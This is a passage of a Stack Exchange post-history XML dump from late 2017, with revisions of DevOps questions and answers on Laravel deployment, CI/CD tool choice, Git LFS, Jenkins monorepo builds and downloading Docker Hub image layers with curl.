access?**](https://stackoverflow.com/questions/40402513/is-there-a-way-to-download-docker-hub-images-whitout-docker-pull-for-a-machine)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8553" PostHistoryTypeId="5" PostId="2737" RevisionGUID="71acc7a9-e661-41e3-b5f1-656db4992d96" CreationDate="2017-11-30T06:44:58.413" UserId="210" Comment="deleted 21 characters in body" Text="**Background:**&#xD;&#xA;  I am developing a Web application for Employee Management. I use `Laravel` for building a RESTful API, and (maybe) `ReactJS` for the frontend.&#xD;&#xA;&#xD;&#xA;**My problem:**&#xD;&#xA;  I am confused on how to deploy my application. My current plan is to use the command `Laravel artisan serve` for the RESTful API, and use `Nginx` for serving HTML files. But is `Laravel artisan serve` possible for production? How to serve RESTful API?&#xD;&#xA;&#xD;&#xA;**Some other thoughts:**&#xD;&#xA;  As far as I know about `Node.js` applications. We can use `ExpressJS` for building a RESTful API, then `pm2 start app.js` for production. But `Node.js` is good at serving dynamic contents. If I build the RESTful API with `Laravel` or `Spring Boot`, or `Ruby on Rails` (`Sinatra`), I don't think a command like `pm2 start app.php (app.java or app.rb)` will work (here `pm2` is only for convenience, I know it is only for a Node.js app) because `PHP`, `Java` or `Ruby` is quite different from `Node.js`. I am afraid I am missing something fundamental here." ContentLicense="CC BY-SA 3.0" />
  <row Id="8554" PostHistoryTypeId="2" PostId="2739" RevisionGUID="8e2e241c-0553-4a5e-b96e-e7edecc26ea3" CreationDate="2017-11-30T07:58:33.263" UserId="5461" Text="I have following challenge to streamline and setup a development process &#xD;&#xA;&#xD;&#xA;i have following program running simultaneously , each one has its own time line for release  , as follows : &#xD;&#xA;&#xD;&#xA;Program 1&#xD;&#xA;Program 2 &#xD;&#xA;Program 3 &#xD;&#xA;Program 4 &#xD;&#xA;Program 5 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Under each  of the program has multiple project running the parallel y .   Each project has different technology say ( Web layer ( .NET) , middle were(Muelsoft) ,  database( Oracle)). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The challenge is i should find configuration management tool , considering branching , automated build process , deployment , integration tracking with JIRA. &#xD;&#xA;&#xD;&#xA;Can some one suggest best tool to seamless integration and orchestrate automated build and deployment&#xD;&#xA;&#xD;&#xA;Technologies are &#xD;&#xA;&#xD;&#xA;- Oracle ( Basically SQL scripts ) &#xD;&#xA;- Middleware ( Mulesoft - maven script ) &#xD;&#xA;- .NET web layer (UI part ) &#xD;&#xA;&#xD;&#xA;Key point to be considered is - Build , deployment process should be technolgy agnostic , as i have environment from both java , .NET and oracle world &#xD;&#xA;&#xD;&#xA;Any suggestion , - highly appreciated &#xD;&#xA;&#xD;&#xA;I am thinking of ( Github - Bitbucket / Bitbucket pipeline/ ) &#xD;&#xA;?? &#xD;&#xA;&#xD;&#xA;Regards, &#xD;&#xA;Brijesh&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8555" PostHistoryTypeId="1" PostId="2739" RevisionGUID="8e2e241c-0553-4a5e-b96e-e7edecc26ea3" CreationDate="2017-11-30T07:58:33.263" UserId="5461" Text="Build / Deploye process" ContentLicense="CC BY-SA 3.0" />
  <row Id="8556" PostHistoryTypeId="3" PostId="2739" RevisionGUID="8e2e241c-0553-4a5e-b96e-e7edecc26ea3" CreationDate="2017-11-30T07:58:33.263" UserId="5461" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8557" PostHistoryTypeId="4" PostId="2739" RevisionGUID="bc96ec25-05eb-4e27-b097-a1546d916dea" CreationDate="2017-11-30T10:09:29.313" UserId="707" Comment="edited title" Text="Build / Deployment process" ContentLicense="CC BY-SA 3.0" />
  <row Id="8561" PostHistoryTypeId="5" PostId="2739" RevisionGUID="af5cf4e8-a090-4b71-8779-21255bf89c32" CreationDate="2017-11-30T10:14:27.340" UserId="13" Comment="Rewording to ease the reading." Text="I have following challenge to streamline and setup a development process &#xD;&#xA;&#xD;&#xA;i have following program running simultaneously , each one has its own time line for release  , as follows : &#xD;&#xA;&#xD;&#xA; - Program 1&#xD;&#xA; - Program 2 &#xD;&#xA; - Program 3 &#xD;&#xA; - Program 4 &#xD;&#xA; - Program 5 &#xD;&#xA;&#xD;&#xA;Under each  of the program there's multiple project running in parallel.   Each project has different technology like Web layer ( .NET) , middle-ware(Muelsoft) ,  database(Oracle) ). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The challenge is that I have to find a configuration management tool considering branching , automated build process , deployment and integration tracking with JIRA. &#xD;&#xA;&#xD;&#xA;Can some one suggest best tool to seamless integration and orchestrate automated build and deployment ?&#xD;&#xA;&#xD;&#xA;Technologies are &#xD;&#xA;&#xD;&#xA;- Oracle ( Basically SQL scripts ) &#xD;&#xA;- Middleware ( Mulesoft - maven script ) &#xD;&#xA;- .NET web layer (UI part ) &#xD;&#xA;&#xD;&#xA;Key point to be considered is Build , deployment process should be technology agnostic , as i have environment from both java , .NET and oracle world &#xD;&#xA;&#xD;&#xA;I am thinking of ( Github - Bitbucket / Bitbucket pipeline/ ) actually but any suggestion would be highly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8562" PostHistoryTypeId="50" PostId="1410" RevisionGUID="991c74cf-c589-465d-9d41-ccbfca8e223e" CreationDate="2017-11-30T14:15:10.730" UserId="-1" />
  <row Id="8563" PostHistoryTypeId="5" PostId="2739" RevisionGUID="fc4c7f6f-ebb7-449b-8e76-22e12c1fa5cb" CreationDate="2017-11-30T15:44:37.500" UserId="4289" Comment="Improved formatting and grammar." Text="I have the following challenge to streamline and setup a development process.&#xD;&#xA;&#xD;&#xA;The program runs simultaneously, and each one has its own timeline for release, as follows:&#xD;&#xA;&#xD;&#xA; - Program 1&#xD;&#xA; - Program 2 &#xD;&#xA; - Program 3 &#xD;&#xA; - Program 4 &#xD;&#xA; - Program 5 &#xD;&#xA;&#xD;&#xA;Under each of the programmes, there are multiple projects running in parallel. Each project has a different technology, like Web layer `(.NET)`, middle-ware `(Muelsoft)` or database `(Oracle)`. &#xD;&#xA;&#xD;&#xA;The challenge is that I have to find a configuration management tool, which considers branching, automated build process, deployment and integration tracking with JIRA. &#xD;&#xA;&#xD;&#xA;Can some one suggest the best tool to seamlessly integrate and orchestrate automated build and deployments?&#xD;&#xA;&#xD;&#xA;Technologies involved are:&#xD;&#xA;&#xD;&#xA;- Oracle (Basically SQL scripts) &#xD;&#xA;- Middleware (Mulesoft - maven script) &#xD;&#xA;- .NET web layer (UI part) &#xD;&#xA;&#xD;&#xA;Key points to be considered is the build and deployment process should be technology agnostic, as I have an environment with `java`, `.NET` and `oracle world`. &#xD;&#xA;&#xD;&#xA;I am thinking of ( Github - Bitbucket/Bitbucket pipeline) actually but any suggestion would be highly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8564" PostHistoryTypeId="24" PostId="2739" RevisionGUID="fc4c7f6f-ebb7-449b-8e76-22e12c1fa5cb" CreationDate="2017-11-30T15:44:37.500" Comment="Proposed by 4289 approved by 40, 13 edit id of 550" ContentLicense="CC BY-SA 3.0" />
  <row Id="8565" PostHistoryTypeId="5" PostId="2731" RevisionGUID="43aea826-b93e-463a-8c5f-c8235831f41a" CreationDate="2017-11-30T16:29:54.290" UserId="3070" Comment="added 154 characters in body" Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/). More specifically, I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;I came across the following ServerFault post:&#xD;&#xA;&#xD;&#xA;- [Downloading docker image for transfer to non-internet-connected machine](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;The [accepted solution](https://serverfault.com/a/718470/264818) uses the `docker save` command, which doesn't help in my situation. But [another solution posted there](https://serverfault.com/a/823571/264818) cites the following StackOverflow post:&#xD;&#xA;&#xD;&#xA;- [Pulling docker images](https://stackoverflow.com/questions/22381442/pulling-docker-images/25072118)&#xD;&#xA;&#xD;&#xA;[One of the solutions there](https://stackoverflow.com/a/25072118/4451345) refers to a command-line tool called [docker-registry-debug](https://github.com/samalba/docker-registry-debug) which, among other things, can generate a `curl` command for downloading an image. Here is what I got:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: none --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ docker-registry-debug curlme docker ubuntu&#xD;&#xA;&#xD;&#xA;    # Reading user/passwd from env var &quot;USER_CREDS&quot;&#xD;&#xA;    # No password provided, disabling auth&#xD;&#xA;    # Getting token from https://index.docker.io&#xD;&#xA;    # Got registry endpoint from the server: https://registry-1.docker.io&#xD;&#xA;    # Got token: signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&#xD;&#xA;    curl -i --location-trusted -I -X GET -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    -i --location-trusted -I -X GET \&#xD;&#xA;    -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; &#xD;&#xA;&#xD;&#xA;    https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;    HTTP/1.1 404 NOT FOUND&#xD;&#xA;    Server: gunicorn/18.0&#xD;&#xA;    Date: Wed, 29 Nov 2017 01:00:00 GMT&#xD;&#xA;    Expires: -1&#xD;&#xA;    Content-Type: application/json&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;    Content-Length: 29&#xD;&#xA;    X-Docker-Registry-Version: 0.8.15&#xD;&#xA;    X-Docker-Registry-Config: common&#xD;&#xA;    Strict-Transport-Security: max-age=31536000&#xD;&#xA;&#xD;&#xA;So unfortunately it looks like the `curl` command generated does not work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Related Links:&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Docker Hub API retrieve images**](https://forums.docker.com/t/docker-hub-api-retrieve-images/23046)&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Manual download of Docker Hub images**](https://forums.docker.com/t/manual-download-of-docker-hub-images/26073)&#xD;&#xA;&#xD;&#xA;- [Docker Issue #1016: **Fetch docker images without docker command. e.g. with wget**](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;- [ServerFault: **Downloading docker image for transfer to non-internet-connected machine**](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Downloading docker image for transfer to non-internet-connected machine**](https://stackoverflow.com/questions/22381442/pulling-docker-images/)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **How to download docker images without using pull command?**](https://stackoverflow.com/questions/37905763/how-to-download-docker-images-without-using-pull-command)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Is there a way to download docker hub images without “docker pull” for a machine with out Internet access?**](https://stackoverflow.com/questions/40402513/is-there-a-way-to-download-docker-hub-images-whitout-docker-pull-for-a-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Docker official registry (Docker Hub) URL**](https://stackoverflow.com/questions/34198392/docker-official-registry-docker-hub-url)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8566" PostHistoryTypeId="2" PostId="2741" RevisionGUID="074b584a-180c-4fbe-8e18-0d0d2879961f" CreationDate="2017-11-30T17:24:15.760" UserId="5284" Text="For something that requires being agnostic to the tooling, and having the flexibility you need, your best bet is Jenkins.  https://jenkins.io/.  They have a ton of plugins that would meet any use case.  Be aware that Jenkins can be heavy for small teams, but your other options lack the flexibility and support for different communities.&#xD;&#xA;&#xD;&#xA;You can check out other tools:&#xD;&#xA;&#xD;&#xA; - Team city - &#xD;&#xA; - CircleCI/Travis CI&#xD;&#xA; - Semaphore&#xD;&#xA; - ETC&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8567" PostHistoryTypeId="2" PostId="2742" RevisionGUID="cf20ab34-d2d5-4cd2-a82a-a12d581b6031" CreationDate="2017-11-30T17:33:45.873" UserId="5284" Text="Something like puppet would help automate and configure the Docker Container.  CMS is configuration/provisioning and Docker is like you said a virtualization platform.  You're trying to compare two completely different things.  Here is an article on how to configure puppet with docker, sometimes an example helps.  https://puppet.com/blog/building-docker-images-puppet&#xD;&#xA;&#xD;&#xA;For another way to classify, Docker is the VM you host your software.  CMS is automation on how to provision it. &#xD;&#xA;&#xD;&#xA;As a side note, most people are moving to Kubernetes to orchestrate and provision containers on the cloud.  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8568" PostHistoryTypeId="5" PostId="2731" RevisionGUID="10ab17d8-13bf-4b99-9504-23e0013f37b1" CreationDate="2017-11-30T17:53:33.003" UserId="3070" Comment="Added update with example of downloading layer blobs." Text="I want to manually download a Docker Image from [Docker Hub](https://hub.docker.com/). More specifically, I want to download a Docker Image from Docker Hub on a machine in a restricted environment which does not (and cannot) have the Docker client software installed. I would have thought that this would be possible using the [official API](https://docs.docker.com/v1.7/docker/reference/api/docker-io_api/), but this does not appear to be the case - see the following discussion:&#xD;&#xA;&#xD;&#xA;- [Fetch docker images without docker command. e.g. with wget](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;Is it really the case that the API doesn't support downloading images? Is there a way to work around this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE 1:**&#xD;&#xA;&#xD;&#xA;I came across the following ServerFault post:&#xD;&#xA;&#xD;&#xA;- [Downloading docker image for transfer to non-internet-connected machine](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;The [accepted solution](https://serverfault.com/a/718470/264818) uses the `docker save` command, which doesn't help in my situation. But [another solution posted there](https://serverfault.com/a/823571/264818) cites the following StackOverflow post:&#xD;&#xA;&#xD;&#xA;- [Pulling docker images](https://stackoverflow.com/questions/22381442/pulling-docker-images/25072118)&#xD;&#xA;&#xD;&#xA;[One of the solutions there](https://stackoverflow.com/a/25072118/4451345) refers to a command-line tool called [docker-registry-debug](https://github.com/samalba/docker-registry-debug) which, among other things, can generate a `curl` command for downloading an image. Here is what I got:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: none --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ docker-registry-debug curlme docker ubuntu&#xD;&#xA;&#xD;&#xA;    # Reading user/passwd from env var &quot;USER_CREDS&quot;&#xD;&#xA;    # No password provided, disabling auth&#xD;&#xA;    # Getting token from https://index.docker.io&#xD;&#xA;    # Got registry endpoint from the server: https://registry-1.docker.io&#xD;&#xA;    # Got token: signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&#xD;&#xA;    curl -i --location-trusted -I -X GET -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    -i --location-trusted -I -X GET \&#xD;&#xA;    -H &quot;Authorization: Token signature=1234567890abcde1234567890abcde1234567890,repository=&quot;library/docker&quot;,access=read&quot; &#xD;&#xA;&#xD;&#xA;    https://registry-1.docker.io/v1/images/ubuntu/layer&#xD;&#xA;    HTTP/1.1 404 NOT FOUND&#xD;&#xA;    Server: gunicorn/18.0&#xD;&#xA;    Date: Wed, 29 Nov 2017 01:00:00 GMT&#xD;&#xA;    Expires: -1&#xD;&#xA;    Content-Type: application/json&#xD;&#xA;    Pragma: no-cache&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;    Content-Length: 29&#xD;&#xA;    X-Docker-Registry-Version: 0.8.15&#xD;&#xA;    X-Docker-Registry-Config: common&#xD;&#xA;    Strict-Transport-Security: max-age=31536000&#xD;&#xA;&#xD;&#xA;So unfortunately it looks like the `curl` command generated does not work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE 2:**&#xD;&#xA;&#xD;&#xA;It looks like I'm able to download layer blobs from Docker Hub. Here is how I'm currently going about it.&#xD;&#xA;&#xD;&#xA;Get an authorization token:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ export TOKEN=\&#xD;&#xA;    &quot;$(curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --header 'GET' \&#xD;&#xA;    &quot;https://auth.docker.io/token?service=registry.docker.io&amp;scope=repository:library/ubuntu:pull&quot; \&#xD;&#xA;    | jq -r '.token' \&#xD;&#xA;    )&quot;&#xD;&#xA;&#xD;&#xA;Pull an image manifest:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --request 'GET' \&#xD;&#xA;    --header &quot;Authorization: Bearer ${TOKEN}&quot; \&#xD;&#xA;    'https://registry-1.docker.io/v2/library/ubuntu/manifests/latest' \&#xD;&#xA;    | jq '.'&#xD;&#xA;&#xD;&#xA;Pull an image manifest and extract the blob sums:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --request 'GET' \&#xD;&#xA;    --header &quot;Authorization: Bearer ${TOKEN}&quot; \&#xD;&#xA;    'https://registry-1.docker.io/v2/library/ubuntu/manifests/latest' \&#xD;&#xA;    | jq -r '.fsLayers[].blobSum'&#xD;&#xA;&#xD;&#xA;    sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4&#xD;&#xA;    sha256:be588e74bd348ce48bb7161350f4b9d783c331f37a853a80b0b4abc0a33c569e&#xD;&#xA;    sha256:e4ce6c3651b3a090bb43688f512f687ea6e3e533132bcbc4a83fb97e7046cea3&#xD;&#xA;    sha256:421e436b5f80d876128b74139531693be9b4e59e4f1081c9a3c379c95094e375&#xD;&#xA;    sha256:4c7380416e7816a5ab1f840482c9c3ca8de58c6f3ee7f95e55ad299abbfe599f&#xD;&#xA;    sha256:660c48dd555dcbfdfe19c80a30f557ac57a15f595250e67bfad1e5663c1725bb&#xD;&#xA;&#xD;&#xA;Download a single layer blob and write it to a file:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ BLOBSUM=\&#xD;&#xA;    &quot;sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4&quot;&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --location \&#xD;&#xA;    --request GET \&#xD;&#xA;    --header &quot;Authorization: Bearer ${TOKEN}&quot; \&#xD;&#xA;    &quot;https://registry-1.docker.io/v2/library/ubuntu/blobs/${BLOBSUM}&quot; \&#xD;&#xA;    &gt; &quot;${BLOBSUM/*:/}.gz&quot;&#xD;&#xA;&#xD;&#xA;Write all of the blob sums to a file:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --request 'GET' \&#xD;&#xA;    --header &quot;Authorization: Bearer ${TOKEN}&quot; \&#xD;&#xA;    'https://registry-1.docker.io/v2/library/ubuntu/manifests/latest' \&#xD;&#xA;    | jq -r '.fsLayers[].blobSum' &gt; ubuntu-blobsums.txt&#xD;&#xA;&#xD;&#xA;Download all of the layer blobs from the manifest:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ while read BLOBSUM; do&#xD;&#xA;    curl \&#xD;&#xA;    --silent \&#xD;&#xA;    --location \&#xD;&#xA;    --request 'GET' \&#xD;&#xA;    --header &quot;Authorization: Bearer ${TOKEN}&quot; \&#xD;&#xA;    &quot;https://registry-1.docker.io/v2/library/ubuntu/blobs/${BLOBSUM}&quot; \&#xD;&#xA;    &gt; &quot;${BLOBSUM/*:/}.gz&quot;; \&#xD;&#xA;    done &lt; blobsums.txt&#xD;&#xA;&#xD;&#xA;Now I have a bunch of layer blobs and I need to recombine them into an image - I think.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Related Links:&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Docker Hub API retrieve images**](https://forums.docker.com/t/docker-hub-api-retrieve-images/23046)&#xD;&#xA;&#xD;&#xA;- [Docker Community Forums: **Manual download of Docker Hub images**](https://forums.docker.com/t/manual-download-of-docker-hub-images/26073)&#xD;&#xA;&#xD;&#xA;- [Docker Issue #1016: **Fetch docker images without docker command. e.g. with wget**](https://github.com/docker/distribution/issues/1016)&#xD;&#xA;&#xD;&#xA;- [ServerFault: **Downloading docker image for transfer to non-internet-connected machine**](https://serverfault.com/questions/701248/downloading-docker-image-for-transfer-to-non-internet-connected-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Downloading docker image for transfer to non-internet-connected machine**](https://stackoverflow.com/questions/22381442/pulling-docker-images/)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **How to download docker images without using pull command?**](https://stackoverflow.com/questions/37905763/how-to-download-docker-images-without-using-pull-command)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Is there a way to download docker hub images without “docker pull” for a machine with out Internet access?**](https://stackoverflow.com/questions/40402513/is-there-a-way-to-download-docker-hub-images-whitout-docker-pull-for-a-machine)&#xD;&#xA;&#xD;&#xA;- [StackOverflow: **Docker official registry (Docker Hub) URL**](https://stackoverflow.com/questions/34198392/docker-official-registry-docker-hub-url)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8569" PostHistoryTypeId="2" PostId="2743" RevisionGUID="bc9b150a-42c1-45c4-94df-7486a825a9c1" CreationDate="2017-11-30T18:10:03.290" UserId="210" Text="Git large file system git-lfs could be used to store large files and at a txt file to the git repository. The question is when to decide whether a file should go to git LFS and if that is done whether the existing CI comfiguration will break." ContentLicense="CC BY-SA 3.0" />
  <row Id="8570" PostHistoryTypeId="1" PostId="2743" RevisionGUID="bc9b150a-42c1-45c4-94df-7486a825a9c1" CreationDate="2017-11-30T18:10:03.290" UserId="210" Text="are there any guidelines for when to use gitlfs and will it break the ci?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8571" PostHistoryTypeId="3" PostId="2743" RevisionGUID="bc9b150a-42c1-45c4-94df-7486a825a9c1" CreationDate="2017-11-30T18:10:03.290" UserId="210" Text="&lt;continuous-integration&gt;&lt;git-lfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8572" PostHistoryTypeId="2" PostId="2744" RevisionGUID="8d35a4ea-2603-4ef3-a78d-f0290009a854" CreationDate="2017-11-30T18:16:29.340" UserId="210" Text="We have a monorepo that consists of multiple projects that contain a build file. How to ensure that all these projects will be built when the job is triggered?&#xD;&#xA;&#xD;&#xA;One solution I am thinking about is creating a shell script that detects whether the folders contain a build script, as the name to a set, iterate on this set and trigger a build for all of the projects. I wonder whether this is a good approach, but it feels tedious." ContentLicense="CC BY-SA 3.0" />
  <row Id="8573" PostHistoryTypeId="1" PostId="2744" RevisionGUID="8d35a4ea-2603-4ef3-a78d-f0290009a854" CreationDate="2017-11-30T18:16:29.340" UserId="210" Text="how to build all projects in a monorepo by starting a build in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8574" PostHistoryTypeId="3" PostId="2744" RevisionGUID="8d35a4ea-2603-4ef3-a78d-f0290009a854" CreationDate="2017-11-30T18:16:29.340" UserId="210" Text="&lt;jenkins&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8575" PostHistoryTypeId="5" PostId="2743" RevisionGUID="4cf9e883-63dd-42cf-a283-178f4ff05d52" CreationDate="2017-11-30T18:23:57.117" UserId="47" Comment="fixed typo" Text="Git large file system git-lfs could be used to store large files and at a txt file to the git repository. The question is when to decide whether a file should go to git LFS and if that is done whether the existing CI configuration will break." ContentLicense="CC BY-SA 3.0" />
  <row Id="8576" PostHistoryTypeId="4" PostId="2743" RevisionGUID="9e03f9f8-25a5-4e91-9fd2-0d3028ed6ae5" CreationDate="2017-11-30T18:25:19.580" UserId="210" Comment="edited title" Text="Are there any guidelines for when to use gitlfs and will it break the ci?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8577" PostHistoryTypeId="4" PostId="2744" RevisionGUID="6f952807-222b-4559-b824-e7c1922deca5" CreationDate="2017-11-30T18:25:46.197" UserId="210" Comment="edited title" Text="How to build all projects in a monorepo by starting a build in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8578" PostHistoryTypeId="5" PostId="2744" RevisionGUID="6f952807-222b-4559-b824-e7c1922deca5" CreationDate="2017-11-30T18:25:46.197" UserId="210" Comment="edited title" Text="We have a monorepo that consists of multiple projects that contain a build file. How to ensure that all these projects will be built when the job is triggered?&#xD;&#xA;&#xD;&#xA;One solution I am thinking about is creating a shell script that detects whether the folders contains a build script, add the name to a set, iterate on this set and trigger a build for all of the projects. I wonder whether this is a good approach, but it feels cumbersome." ContentLicense="CC BY-SA 3.0" />
  <row Id="8579" PostHistoryTypeId="2" PostId="2745" RevisionGUID="fbdc19ed-f6ea-415f-a253-511d20b568d6" CreationDate="2017-11-30T19:03:43.747" UserId="5284" Text="DevOps has three parts: Tooling/automation, Organizational, cultural.&#xD;&#xA;&#xD;&#xA;You're basing your organizational structure and process' on your business maturity.  Which is smart.  My experience in a startup and with a fortune 1000 company has afforded me the experience to denote that starting with DevOps is better for company growth.  It's efficient and fits nicely with agile.&#xD;&#xA;&#xD;&#xA;Tooling:&#xD;&#xA;Being your maturity is really young, you should buy your DevOps process as saas products to reduce time to market.  Instead of Jenkins use circleCI or similar product.  Instead of VM's and docker, use Heroku.  Try and incorporate the toolset but do it in a manner that works for the size of your business.  If deploying code manually takes 4 hours a week and automating it in 1 hour saves that.  Do it.  &#xD;&#xA;&#xD;&#xA;organizational:&#xD;&#xA;Also from an organizational standpoint, you will naturally start with all developers as the responsible party for operations/features even product development.  Take a look at http://web.devopstopologies.com/  for organizational structures.  Our startup started with type 2, and as we mature will move toward type 7.  &#xD;&#xA;&#xD;&#xA;Cultural:&#xD;&#xA;DevOps is simply teamwork.  Work together and everything gets easier.   It usually is a problem because leadership doesn't keep this in mind so as you start out, ensure that everyone is apart of the business.  This is also reflected in agile. &#xD;&#xA;&#xD;&#xA;So in short, yes pursue DevOps but do so at the level that meets your business maturity. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8580" PostHistoryTypeId="2" PostId="2746" RevisionGUID="405b5bdf-b79c-493f-8600-255577b18bd3" CreationDate="2017-11-30T19:11:48.203" UserId="5284" Text="DevOps is a &quot;team&quot; of people that includes the development and operations teams.  (security/compliance combined). &#xD;&#xA;&#xD;&#xA;You shouldn't think about the devops &quot;team&quot; as a separate entity but part of the larger organization.  Checkout http://web.devopstopologies.com/ for organizational structure.  You can see it's about moving together.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="8581" PostHistoryTypeId="5" PostId="2745" RevisionGUID="959f2dbc-2452-4277-858e-eddb395a8d09" CreationDate="2017-11-30T20:52:42.510" UserId="2845" Comment="added 39 characters in body" Text="DevOps has three parts: *Tooling/automation, Organizational, and Cultural.*&#xD;&#xA;&#xD;&#xA;You're basing your organizational structure and process' on your business' maturity.  Which is smart.  My experience in a startup and with a fortune 1000 company has afforded me the experience to denote that starting with DevOps is better for company growth.  It's efficient and fits nicely with agile.&#xD;&#xA;&#xD;&#xA;Tooling&#xD;&#xA;-------&#xD;&#xA;Being your maturity is really young, you should buy your DevOps process as saas products to reduce time to market.  Instead of Jenkins use circleCI or similar product.  Instead of VM's and docker, use Heroku.  Try and incorporate the toolset but do it in a manner that works for the size of your business.  If deploying code manually takes 4 hours a week and automating it in 1 hour saves that.  Do it.  &#xD;&#xA;&#xD;&#xA;Organizational&#xD;&#xA;--------------&#xD;&#xA;Also from an organizational standpoint, you will naturally start with all developers as the responsible party for operations/features even product development.  Take a look at http://web.devopstopologies.com/  for organizational structures.  Our startup started with type 2, and as we mature will move toward type 7.  &#xD;&#xA;&#xD;&#xA;Cultural&#xD;&#xA;--------&#xD;&#xA;DevOps is simply teamwork.  Work together and everything gets easier.   It usually is a problem because leadership doesn't keep this in mind so as you start out, ensure that everyone is apart of the business.  This is also reflected in agile. &#xD;&#xA;&#xD;&#xA;So in short, yes pursue DevOps but do so at the level that meets your business maturity. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8584" PostHistoryTypeId="50" PostId="1637" RevisionGUID="747870e2-5a7e-445d-92c8-4e7012186d93" CreationDate="2017-11-30T22:16:26.547" UserId="-1" />
